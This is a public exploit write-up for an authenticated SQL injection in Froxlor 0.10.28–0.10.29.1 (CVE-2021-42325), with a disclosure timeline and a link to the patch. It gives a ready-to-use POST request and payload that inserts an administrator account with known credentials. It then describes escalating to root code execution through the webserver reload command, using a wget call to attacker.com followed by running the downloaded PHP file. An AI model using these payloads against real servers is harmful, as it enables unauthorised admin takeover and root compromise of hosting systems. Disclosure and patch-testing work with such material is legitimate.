# Exploit Title: Froxlor 0.10.29.1 - SQL Injection (Authenticated)# Exploit Author: Martin Cernac# Date: 2021-11-05# Vendor: Froxlor (https://froxlor.org/)# Software Link: https://froxlor.org/download.php# Affected Version: 0.10.28, 0.10.29, 0.10.29.1# Patched Version: 0.10.30# Category: Web Application# Tested on: Ubuntu# CVE: 2021-42325# 1. Technical Description:## Froxlor 0.10.28 and 0.10.29.x are affected by an SQL Injection from the authenticated customer panel. This allows an attacker to escalate privilege by creating a Froxlor administrator account and use it to get Remote Code Execution as root on the target machine.## 1.1 Pre-requisites#- Access to a customer account#- Ability to specify database name when creating a database#- Feature only availible from 0.10.28 onward and must be manually enabled# 2. Proof Of Concept (PoC):## The following is a walkthrough of privilege escalation from a mere customer to an admin and achieving RCE as root## 2.1 Privilege Escalation## - Sign into Froxlor as a customer# - View your databases# - Create a database# - Put your payload into the "User/Database name" field (if enabled)# - Application will error out however your SQL query will be executed## The following is a POST request example of running the payload provided, resulting in an administrator account being created---
POST /froxlor/customer_mysql.php?s=fdbdf63173d0b332ce13a148476499b2 HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length:448
s=fdbdf63173d0b332ce13a148476499b2&page=mysqls&action=add&send=send&custom_suffix=%60%3Binsert+into+panel_admins+%28loginname%2Cpassword%2Ccustomers_see_all%2Cdomains_see_all%2Ccaneditphpsettings%2Cchange_serversettings%29+values+%28%27x%27%2C%27%245%24ccd0bcdd9ab970b1%24Hx%2Fa0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8%27%2C1%2C1%2C1%2C1%29%3B--&description=x&mysql_password=asdasdasdasdasdasdwire&mysql_password_suggestion=oyxtjaihgb&sendinfomail=0---## 2.2 Remote Code Execution## To achieve RCE as root:## - Sign into Froxlor as the newly created admin account (payload example creds are x:a)# - Go to System Settings# - Go to Webserver settings# - Adjust "Webserver reload command" field to a custom command# - The command must not contain any of the following special characters: ;|&><`$~?# - For details, see "safe_exec" function in lib/Froxlor/FileDir.php# - For example commands see Payloads 4.2 section# - Trigger configuration file rebuild# - Use menu item "Rebuild config files"# - Await a root cron job to execute your command# 3. Vulnerable resources and parameters# /customer_mysql.php (POST field: custom_suffix)# 4. Payloads## 4.1 SQL Injection payload#The following payload creates a new Froxlor admin with full access to all customers and the server configuration#The credentials are:# - username: x# - password: a## `;insert into panel_admins (loginname,password,customers_see_all,domains_see_all,caneditphpsettings,change_serversettings) values ('x','$5$ccd0bcdd9ab970b1$Hx/a0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8',1,1,1,1);--### 4.2 Remote Code Execution payload#Two part payload:#- wget http://attacker.com/malicious.txt -O /runme.php#- php /runme.php# 5. Timeline# 2021-10-11 Discovery# 2021-10-11 Contact with developer# 2021-10-11 Patch issued but no release rolled out# 2021-10-12 Reserved CVE-2021-42325# 2021-11-05 Fix release rolled out# 2021-11-07 Public disclosure# 6. References:# https://github.com/Froxlor/Froxlor/releases/tag/0.10.30